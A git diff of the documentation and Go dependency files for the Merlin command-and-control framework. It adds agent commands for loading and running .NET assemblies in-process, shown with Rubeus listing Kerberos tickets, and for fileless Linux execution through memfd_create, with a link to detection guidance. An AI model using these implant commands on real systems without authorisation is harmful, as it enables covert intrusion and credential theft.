    +Query: google.com, Result: 142.250.73.238 2607:f8b0:4004:82a::200e
    +
    +
    +
    +
    +

    pwd

    +

    The pwd command uses native Go to get and return the current working directory.

    +
    Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» pwd
    +[-]Created job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +
    +[-] Results job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
    +
    +[+] Current working directory: C:\Users\Joe
    +
    +
    +

    quit

    The quit command is used to exit out of the Merlin Server application. This is also an alias for the exit command.

    @@ -922,24 +1070,6 @@

    Escape Sequence -

    main

    -

    The main command is used to leave the Agent menu and return back to the Main Menu. It is an alias for the back command.

    -
    Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» main
    -Merlin»
    -
    -
    -

    -
    -

    pwd

    -

    The pwd command uses native Go to get and return the current working directory.

    -
    Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» pwd
    -[-]Created job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2019-02-27T01:14:17Z
    -Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job JweUayTyTv at 2019-02-27T01:14:28Z
    -Current working directory: C:\Users\Joe
    -
    -
    -

    status

    The status command is used to simply print if the Merlin Agent is Active, Delayed, or Dead to the screen. This becomes useful when you come back to Merlin after a couple of hours or if you want to see if your shell has died.

    diff --git a/docs/server/menu/agents.rst b/docs/server/menu/agents.rst index b29fa9e8..f52f2ba4 100644 --- a/docs/server/menu/agents.rst +++ b/docs/server/menu/agents.rst @@ -31,13 +31,24 @@ help | | RtlCreateUserThread info | Display all information about | | the agent | + invoke-assembly | Invoke, or execute, a .NET | , + | loaded into the agent's | + | process | jobs | Display all active jobs for | | the agent | kill | Instruct the agent to die or | | quit | + load-assembly | Load a .NET assembly into the | [] + list-assemblies | List the .NET assemblies that | + | are loaded into the agent's | + | process | ls | List directory contents | ls /etc OR ls C:\\Users OR ls | | C:/Users main | Return to the main menu | + memfd | Execute Linux file in memory | [] + nslookup | DNS query on host or ip | nslookup 8.8.8.8 pwd | Display the current working | pwd | directory | run | Execute a program directly, | run ping -c 3 8.8.8.8 @@ -367,6 +378,40 @@ The ``info`` command is used to get information about a specific agent. | Agent Failed Logins | 0 | +---------------------------+-----------------------------------------------+ +invoke-assembly +--------------- + +The ``invoke-assembly`` command will execute a .NET assembly that was previously loaded into the agent with the +load-assembly_ command. The first argument is the name of the assembly and all the remaining arguments are passed to +the assembly for execution. Use the list-assemblies_ command return a list of loaded assemblies. +The execute-assembly_ command is different because it uses injection to run the assembly in a child process. +This command runs the assembly in the current process without injection. + +.. note:: + Only CLR v4 is currently supported which can be used to execute both v3.5 and v4 .NET assemblies + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» invoke-assembly Rubeus.exe klist + [-] Created job GlPHKaRtmg for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [-] Results job GlPHKaRtmg for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.5.0 + + + Action: List Kerberos Tickets (Current User) + + [*] Current LUID : 0x37913 + jobs ---- @@ -393,6 +438,51 @@ The ``kill`` control type instructs the agent to exit or die. There is no respon Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» kill Merlin» [-]Created job goaRNhTVTT for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 +list-assemblies +--------------- + +The ``list-assemblies`` command lists .NET assemblies that have been loaded into the agent's process with the load-assembly_ command. + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» list-assemblies + [-] Created job NIflRstGrR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + [-] Results job NIflRstGrR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] Loaded Assemblies: + seatbelt.exe + rubeus.exe + sharpdpapi.exe + sharpup.exe + Hagrid + +load-assembly +------------- + +The ``load-assembly`` command loads a .NET assembly into the agent's process. Once the assembly is loaded, it can be executed +multiple times with the invoke-assembly_ command. The .NET assembly is only sent across the wire one time. +An option third argument can be provided to reference the assembly as any other name when executed with the +invoke-assembly_ command. + +.. note:: + Only CLR v4 is currently supported which can be used to execute both v3.5 and v4 .NET assemblies + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» load-assembly /root/Rubeus.exe + [-] Created job iQOkWgGqkJ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + [-] Results job iQOkWgGqkJ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] successfully loaded rubeus.exe into the default AppDomain + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» load-assembly /root/Rubeus.exe Hagrid + [-] Created job YrPdQkcuTG for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + [-] Results job YrPdQkcuTG for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] successfully loaded Hagrid into the default AppDomain + ls -- @@ -442,6 +532,73 @@ The ``ls`` command is used to list a directory's contents using native Go functi -rw-rw-rw- 2018-09-15 00:31:34 174 desktop.ini drwxrwxrwx 2018-09-15 00:42:33 0 windows nt +main +---- + +The ``main`` command is used to leave the Agent menu and return back to the :doc:`main`. It is an alias for the ``back`` command. + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» main + Merlin» + +memfd +----- + +The ``memfd`` command loads a Linux executable file into memory (RAM) as an anonymous file using the +`memfd_create `__ API call, executes it, and returns the +results. +The file is created with an empty string as its name. +Less the fact that RAM is a file on Linux, the executable is not written to disk. +View the `Detecting Linux memfd_create() Fileless Malware with Command Line Forensics +`__ +for detection guidance. + +.. note:: + This command will not run on Windows agents + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» memfd /tmp/hello.py + [-] Created job ZyeWhgfThk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [-] Results job ZyeWhgfThk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] Hello from a Python script + + +nslookup +-------- + +The ``nslookup`` command takes a space separated list of IP addresses or hostnames and performs a DNS query using the +host's resolver and returns the results. + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» nslookup 8.8.8.8 9.9.9.9 github.com google.com + [-] Created job fQilcQFmlk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [-] Results job fQilcQFmlk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] Query: 8.8.8.8, Result: dns.google. + Query: 9.9.9.9, Result: dns9.quad9.net. + Query: github.com, Result: 192.30.255.113 + Query: google.com, Result: 142.250.73.238 2607:f8b0:4004:82a::200e + +pwd +--- + +The ``pwd`` command uses native Go to get and return the current working directory. + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» pwd + [-]Created job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [-] Results job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] Current working directory: C:\Users\Joe + quit ---- @@ -811,28 +968,6 @@ To correctly issue the command either escape the ``\`` or enclose the commands i Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell dir C:\\Windows\\System32 -main ----- - -The ``main`` command is used to leave the Agent menu and return back to the :doc:`main`. It is an alias for the ``back`` command. - -.. code-block:: text - - Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» main - Merlin» - -pwd ---- - -The ``pwd`` command uses native Go to get and return the current working directory. - -.. code-block:: text - - Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» pwd - [-]Created job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2019-02-27T01:14:17Z - Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job JweUayTyTv at 2019-02-27T01:14:28Z - Current working directory: C:\Users\Joe - status ------ diff --git a/go.mod b/go.mod index 8b2c887a..0d5c479a 100644 --- a/go.mod +++ b/go.mod @@ -4,53 +4,31 @@ require ( github.com/Binject/debug v0.0.0-20201228082058-60012895f187 // indirect github.com/Binject/go-donut v0.0.0-20201215224200-d947cf4d090d github.com/CUCyber/ja3transport v0.0.0-20191126031250-d2ab5557668f // indirect - github.com/NYTimes/gziphandler v1.1.1 // indirect + github.com/Ne0nd0g/go-clr v1.0.1 github.com/Ne0nd0g/ja3transport v0.0.0-20200203013218-e81e31892d84 - github.com/akamensky/argparse v1.2.2 // indirect - github.com/andybalholm/cascadia v1.2.0 // indirect github.com/chzyer/logex v1.1.10 // indirect github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 // indirect github.com/cretz/gopaque v0.1.0 - github.com/davecgh/go-spew v1.1.1 // indirect - github.com/dgraph-io/badger v1.6.2 // indirect - github.com/dgraph-io/ristretto v0.0.3 // indirect github.com/fatih/color v1.7.0 - github.com/fzipp/gocyclo v0.3.1 // indirect - github.com/go-chi/chi v4.1.2+incompatible // indirect - github.com/gojp/goreportcard v0.0.0-20200415071653-59167b516f3f // indirect - github.com/golang/example v0.0.0-20170904185048-46695d81d1fa // indirect - github.com/golang/protobuf v1.4.2 // indirect - github.com/google/uuid v1.1.3 // indirect - github.com/gophish/gophish v0.11.0 // indirect - github.com/kardianos/govendor v1.0.9 // indirect - github.com/lib/pq v1.8.0 // indirect - github.com/lucas-clemente/quic-go v0.17.3 - github.com/marten-seemann/qtls v0.10.0 // indirect + github.com/google/go-cmp v0.5.1 // indirect + github.com/kr/pretty v0.2.0 // indirect + github.com/lucas-clemente/quic-go v0.20.1 github.com/mattn/go-colorable v0.1.2 // indirect github.com/mattn/go-runewidth v0.0.4 // indirect github.com/mattn/go-shellwords v1.0.5 - github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d // indirect github.com/olekukonko/tablewriter v0.0.1 - github.com/oschwald/maxminddb-golang v1.7.0 // indirect - github.com/prometheus/common v0.13.0 // indirect - github.com/rogpeppe/godef v1.1.2 // indirect - github.com/ryanuber/go-glob v1.0.0 // indirect github.com/satori/go.uuid v1.2.0 - github.com/securego/gosec v0.0.0-20200401082031-e946c8c39989 // indirect + github.com/stretchr/testify v1.6.1 // indirect go.dedis.ch/kyber/v3 v3.0.12 golang.org/x/crypto v0.0.0-20200709230013-948cd5f35899 - golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5 // indirect - golang.org/x/mod v0.4.1 // indirect golang.org/x/net v0.0.0-20201021035429-f5854403a974 - golang.org/x/net/http2/h2demo v0.0.0-20200904194848-62affa334b73 // indirect golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 - golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f - golang.org/x/tools v0.0.0-20210114065538-d78b04bdf963 // indirect - golang.org/x/tools/gopls v0.5.0 // indirect + golang.org/x/sys v0.0.0-20210415045647-66c3f260301c + golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect google.golang.org/protobuf v1.25.0 // indirect + gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect gopkg.in/square/go-jose.v2 v2.3.1 - honnef.co/go/tools v0.1.0 // indirect ) -go 1.14 +go 1.16 diff --git a/go.sum b/go.sum index 02efefe2..2a6cfe0e 100644 --- a/go.sum +++ b/go.sum @@ -1,243 +1,75 @@ -9fans.net/go v0.0.0-20181112161441-237454027057 h1:OcHlKWkAMJEF1ndWLGxp5dnJQkYM/YImUOvsBoz6h5E= -9fans.net/go v0.0.0-20181112161441-237454027057/go.mod h1:diCsxrliIURU9xsYtjCp5AbpQKqdhKmf0ujWDUSkfoY= -bitbucket.org/liamstask/goose v0.0.0-20150115234039-8488cc47d90c h1:bkb2NMGo3/Du52wvYj9Whth5KZfMV6d3O0Vbr3nz/UE= -bitbucket.org/liamstask/goose v0.0.0-20150115234039-8488cc47d90c/go.mod h1:hSVuE3qU7grINVSwrmzHfpg9k87ALBk+XaualNyUzI4= cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.31.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.37.0 h1:69FNAINiZfsEuwH3fKq8QrAAnHz+2m4XL4kVYi5BX0Q= cloud.google.com/go v0.37.0/go.mod h1:TS1dMSSfndXH133OKGwekG838Om/cQT0BUHV3HcBgoo= -cloud.google.com/go v0.38.0 h1:ROfEUZz+Gh5pa62DJWXSaonyu3StP6EA6lPEXPI6mCo= -cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= dmitri.shuralyov.com/app/changes v0.0.0-20180602232624-0a106ad413e3/go.mod h1:Yl+fi1br7+Rr3LqpNJf1/uxUdtRUV+Tnj0o93V2B9MU= dmitri.shuralyov.com/html/belt v0.0.0-20180602232347-f7d459c86be0/go.mod h1:JLBrvjyP0v+ecvNYvCpyZgu5/xkfAUhi6wJj28eUfSU= dmitri.shuralyov.com/service/change v0.0.0-20181023043359-a85b471d5412/go.mod h1:a1inKt/atXimZ4Mv927x+r7UpyzRUf4emIoiiSC2TN4= dmitri.shuralyov.com/state v0.0.0-20180228185332-28bcc343414c/go.mod h1:0PRwlb0D6DFvNNtx+9ybjezNCa8XF0xaYcETyp6rHWU= git.apache.org/thrift.git v0.0.0-20180902110319-2566ecd5d999/go.mod h1:fPE2ZNJGynbRyZ4dJvy6G277gSllfV2HJqblrnkyeyg= -github.com/AndreasBriese/bbloom v0.0.0-20190825152654-46b345b51c96 h1:cTp8I5+VIoKjsnZuH8vjyaysT/ses3EvZeaV/1UkF2M= -github.com/AndreasBriese/bbloom v0.0.0-20190825152654-46b345b51c96/go.mod h1:bOvUY6CB00SOBii9/FifXqc0awNKxLFCL/+pkDPuyl8= github.com/Binject/debug v0.0.0-20201228082058-60012895f187 h1:1X9jYT7Hq1fhPIv6a5br2viQOVaep0878Xsv4u4Vl+I= github.com/Binject/debug v0.0.0-20201228082058-60012895f187/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= -github.com/Binject/go-donut v0.0.0-20200818232812-e80b835e4a65 h1:W+t/F8b0ieVpddex7aVkT4HF+73tw7TFNZjDn+he+ro= -github.com/Binject/go-donut v0.0.0-20200818232812-e80b835e4a65/go.mod h1:+HPTw2E7tpmDKnls6np/4DMINtku9rw3TgLtKoydgMI= -github.com/Binject/go-donut v0.0.0-20201208063618-cc7a06816fec h1:TIQyCimTbsKIjsivYn3NeJbsP5e/uWMk5LwaetLjZw4= -github.com/Binject/go-donut v0.0.0-20201208063618-cc7a06816fec/go.mod h1:+HPTw2E7tpmDKnls6np/4DMINtku9rw3TgLtKoydgMI= -github.com/Binject/go-donut v0.0.0-20201209172843-0f86546d4820 h1:FQHWbUMMH91+5V/Ri8OedZjjLw6EuACcaUH5D/1TB/M= -github.com/Binject/go-donut v0.0.0-20201209172843-0f86546d4820/go.mod h1:+HPTw2E7tpmDKnls6np/4DMINtku9rw3TgLtKoydgMI= github.com/Binject/go-donut v0.0.0-20201215224200-d947cf4d090d h1:p1nbUZVkTna5JW0jUpmnXaLc9enF3CwcRisYwUuNiz4= github.com/Binject/go-donut v0.0.0-20201215224200-d947cf4d090d/go.mod h1:+HPTw2E7tpmDKnls6np/4DMINtku9rw3TgLtKoydgMI= -github.com/BishopFox/sliver v1.0.7-beta h1:LFsc2zwGhJw0wLrEaM68dAVtv/IJLDmghcqfrOZQ9O0= -github.com/BishopFox/sliver/vendor/github.com/cloudflare/cloudflare-go v0.0.0-20200915204034-cb10bc9c2491 h1:Vuo+ljtBo5DN9iznUv4HnXOehxg3Jzcibk8aPCOA1O8= -github.com/BishopFox/sliver/vendor/github.com/desertbit/grumble v0.0.0-20200915204034-cb10bc9c2491 h1:X3b5mSNs2UEvFOC8um6/VFqFnmnoIUSeRHtl1AoDwtw= -github.com/BishopFox/sliver/vendor/github.com/dgraph-io/badger v0.0.0-20200915204034-cb10bc9c2491 h1:esydXandIFDcbVu1ekUm/1FrQwGA3wcL6LzFms6saq4= -github.com/BishopFox/sliver/vendor/github.com/gobuffalo/envy v0.0.0-20200915204034-cb10bc9c2491 h1:o1H1Jp8xLXLbL5X7bwAvJ03svVOL/bD/e+tmxD3bPSI= -github.com/BishopFox/sliver/vendor/github.com/gobuffalo/packr v0.0.0-20200915204034-cb10bc9c2491 h1:m7EPt1YLfLvR+2ppcXiVu9bMUm1P5zhRKDirw6/rMwk= -github.com/BishopFox/sliver/vendor/github.com/miekg/dns v0.0.0-20200915204034-cb10bc9c2491 h1:xzWkdKEmuidOL08Z9iD/Loz2tFOAGxOh/l07tXZKKAo= -github.com/BishopFox/sliver/vendor/github.com/sirupsen/logrus v0.0.0-20200915204034-cb10bc9c2491 h1:zErUXnU3VPZXgBYom9CWzgrIrdyr1CwkV1V+oYllCjw= -github.com/BishopFox/sliver/vendor/gopkg.in/AlecAivazis/survey.v1 v0.0.0-20200915204034-cb10bc9c2491 h1:qax4sHjJLvtw2bPub2ZOL7PQmRehs7+psTMuDLWbwTY= -github.com/Bowery/prompt v0.0.0-20190916142128-fa8279994f75 h1:xGHheKK44eC6K0u5X+DZW/fRaR1LnDdqPHMZMWx5fv8= -github.com/Bowery/prompt v0.0.0-20190916142128-fa8279994f75/go.mod h1:4/6eNcqZ09BZ9wLK3tZOjBA1nDj+B0728nlX5YRlSmQ= github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/CUCyber/ja3transport v0.0.0-20191126031250-d2ab5557668f h1:pug3kKEVqEYljOpCNO9OGqAzToLeyB72rSeBrS77wtc= github.com/CUCyber/ja3transport v0.0.0-20191126031250-d2ab5557668f/go.mod h1:NuQSs6CGlG1KjU6fHNtyCNfo9clInPTtGNIAkoRIHfM= -github.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible/go.mod h1:r7JcOSlj0wfOMncg0iLm8Leh48TZaKVeNIfJntJ2wa0= -github.com/NYTimes/gziphandler v1.1.1 h1:ZUDjpQae29j0ryrS0u/B8HZfJBtBQHjqw2rQ2cqUQ3I= -github.com/NYTimes/gziphandler v1.1.1/go.mod h1:n/CVRwUEOgIxrgPvAQhUUr9oeUtvrhMomdKFjzJNB0c= -github.com/Ne0nd0g/gopaque v0.0.0-20190206211514-8180617f489f h1:W2zBz4ReA4e6NMfHObO6hKnnvzn5lKbIMVDbnzlmnKg= -github.com/Ne0nd0g/gopaque v0.0.0-20190206211514-8180617f489f/go.mod h1:KDfr5fZhjKT69+HlnHArcgkXW0FWm4LcjZyJbMd9PPU= -github.com/Ne0nd0g/gophish v0.7.0 h1:xfaGL2tm0IC86M1w5WHGAoI458qKX2rJf5c0zfJUxZc= -github.com/Ne0nd0g/gophish v0.7.0/go.mod h1:CTbM+jiaRow277GUJJLvf4kkDoNAezBKGOxfeyzap/c= +github.com/Ne0nd0g/go-clr v1.0.1 h1:EblX6qE8D7vTLhBG9da41aWjzx+D5bDHYVUjkIyNkMg= +github.com/Ne0nd0g/go-clr v1.0.1/go.mod h1:iUEm79gVJA0wfFpVGjNjb4/qEMHqrfcXexjJsUBmJUM= github.com/Ne0nd0g/ja3transport v0.0.0-20200203013218-e81e31892d84 h1:CxXYecCuU2X84NOiFGrs2Vp3d9Z31lkDxw/q9Mdijbg= github.com/Ne0nd0g/ja3transport v0.0.0-20200203013218-e81e31892d84/go.mod h1:wxn6ch+dbwLI8e+ndsotd9vb+Txzk5JM0OTdzMNq1K0= -github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= -github.com/PuerkitoBio/goquery v1.5.0 h1:uGvmFXOA73IKluu/F84Xd1tt/z07GYm8X49XKHP7EJk= -github.com/PuerkitoBio/goquery v1.5.0/go.mod h1:qD2PgZ9lccMbQlc7eEOjaeRlFQON7xY8kdmcsrnKqMg= -github.com/PuerkitoBio/goquery v1.5.1 h1:PSPBGne8NIUWw+/7vFBV+kG2J/5MOjbzc7154OaKCSE= -github.com/PuerkitoBio/goquery v1.5.1/go.mod h1:GsLWisAFVj4WgDibEWF4pvYnkVQBpKBKeU+7zCJoLcc= -github.com/Shopify/sarama v1.19.0/go.mod h1:FVkBWblsNy7DGZRfXLU0O9RCGt5g3g3yEuWXgklEdEo= -github.com/Shopify/toxiproxy v2.1.4+incompatible/go.mod h1:OXgGpZ6Cli1/URJOF1DMxUHB2q5Ap20/P/eIdh4G0pI= -github.com/VividCortex/gohistogram v1.0.0/go.mod h1:Pf5mBqqDxYaXu3hDrrU+w6nw50o/4+TcAqDqk/vUH7g= -github.com/aead/ecdh v0.2.0 h1:pYop54xVaq/CEREFEcukHRZfTdjiWvYIsZDXXrBapQQ= -github.com/aead/ecdh v0.2.0/go.mod h1:a9HHtXuSo8J1Js1MwLQx2mBhkXMT6YwUmVVEY4tTB8U= -github.com/afex/hystrix-go v0.0.0-20180502004556-fa1af6a1f4f5/go.mod h1:SkGFH1ia65gfNATL8TAiHDNxPzPdmEL5uirI2Uyuz6c= -github.com/akamensky/argparse v1.2.2 h1:P17T0ZjlUNJuWTPPJ2A5dM1wxarHgHqfYH+AZTo2xQA= -github.com/akamensky/argparse v1.2.2/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA= -github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= -github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751 h1:JYp7IbQjafoB+tBA3gMyHYHrpOtNuDiK/uB5uXxq5wM= -github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= -github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= -github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= -github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d h1:UQZhZ2O0vMHr2cI+DC1Mbh0TJxzA3RcLoMsFw+aXw7E= -github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= -github.com/andybalholm/cascadia v1.0.0 h1:hOCXnnZ5A+3eVDX8pvgl4kofXv2ELss0bKcqRySc45o= -github.com/andybalholm/cascadia v1.0.0/go.mod h1:GsXiBklL0woXo1j/WYWtSYYC4ouU9PqHO0sqidkEA4Y= -github.com/andybalholm/cascadia v1.1.0 h1:BuuO6sSfQNFRu1LppgbD25Hr2vLYW25JvxHs5zzsLTo= -github.com/andybalholm/cascadia v1.1.0/go.mod h1:GsXiBklL0woXo1j/WYWtSYYC4ouU9PqHO0sqidkEA4Y= -github.com/andybalholm/cascadia v1.2.0 h1:vuRCkM5Ozh/BfmsaTm26kbjm0mIOM3yS5Ek/F5h18aE= -github.com/andybalholm/cascadia v1.2.0/go.mod h1:YCyR8vOZT9aZ1CHEd8ap0gMVm2aFgxBp0T0eFw1RUQY= github.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239/go.mod h1:2FmKhYUyUczH0OGQWaF5ceTx0UBShxjsH6f8oGKYe2c= -github.com/apache/thrift v0.12.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ= -github.com/apache/thrift v0.13.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ= -github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= -github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= -github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= -github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/aryann/difflib v0.0.0-20170710044230-e206f873d14a/go.mod h1:DAHtR1m6lCRdSC2Tm3DSWRPvIPr6xNKyeHdqDQSQT+A= -github.com/aws/aws-lambda-go v1.13.3/go.mod h1:4UKl9IzQMoD+QF79YdCuzCwp8VbmG4VAQwij/eHl5CU= -github.com/aws/aws-sdk-go v1.27.0/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo= -github.com/aws/aws-sdk-go-v2 v0.18.0/go.mod h1:JWVYvqSMppoMJC0x5wdwiImzgXTI9FuZwxzkQq9wy+g= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973 h1:xJ4a3vCFaGF/jqvzLMYoU8P317H5OQ+Via4RmuPwCS0= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= -github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= -github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= -github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= -github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= -github.com/bifurcation/mint v0.0.0-20180306135233-198357931e61 h1:BU+NxuoaYPIvvp8NNkNlLr8aA0utGyuunf4Q3LJ0bh0= -github.com/bifurcation/mint v0.0.0-20180306135233-198357931e61/go.mod h1:zVt7zX3K/aDCk9Tj+VM7YymsX66ERvzCJzw8rFCX2JU= -github.com/bifurcation/mint v0.0.0-20180715133206-93c51c6ce115 h1:fUjoj2bT6dG8LoEe+uNsKk8J+sLkDbQkJnB6Z1F02Bc= -github.com/bifurcation/mint v0.0.0-20180715133206-93c51c6ce115/go.mod h1:zVt7zX3K/aDCk9Tj+VM7YymsX66ERvzCJzw8rFCX2JU= -github.com/boltdb/bolt v1.3.1 h1:JQmyP4ZBrce+ZQu0dY660FMfatumYDLun9hBCUVIkF4= -github.com/boltdb/bolt v1.3.1/go.mod h1:clJnj/oiGkjum5o1McbSZDSLxVThjynRyGBgiAx27Ps= github.com/bradfitz/go-smtpd v0.0.0-20170404230938-deb6d6237625/go.mod h1:HYsPBTaaSFSlLx/70C2HPIMNZpVV8+vt/A+FMnYP11g= github.com/buger/jsonparser v0.0.0-20181115193947-bf1c66bbce23 h1:D21IyuvjDCshj1/qq+pCNd3VZOAEI9jy6Bi131YlXgI= github.com/buger/jsonparser v0.0.0-20181115193947-bf1c66bbce23/go.mod h1:bbYlZJ7hK1yFx9hf58LP0zeX7UjIGs20ufpu3evjr+s= -github.com/casbin/casbin/v2 v2.1.2/go.mod h1:YcPU1XXisHhLzuxH9coDNf2FbKpjGlbCg3n9yuLkIJQ= -github.com/cenkalti/backoff v2.2.1+incompatible/go.mod h1:90ReRw6GdpyfrHakVjL/QHaoyV4aDUVVkXQJJJ3NXXM= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= -github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= -github.com/cespare/xxhash/v2 v2.1.1 h1:6MnRN8NT7+YBpUIWxHtefFZOKTAPgGjpQSxqLNn0+qY= -github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/cheekybits/genny v0.0.0-20170328200008-9127e812e1e9 h1:a1zrFsLFac2xoM6zG1u72DWJwZG3ayttYLfmLbxVETk= -github.com/cheekybits/genny v0.0.0-20170328200008-9127e812e1e9/go.mod h1:+tQajlRqAUrPI7DOSpB0XAqZYtQakVtB7wXkRAgjxjQ= github.com/cheekybits/genny v1.0.0 h1:uGGa4nei+j20rOSeDeP5Of12XVm7TGUd4dJA9RDitfE= github.com/cheekybits/genny v1.0.0/go.mod 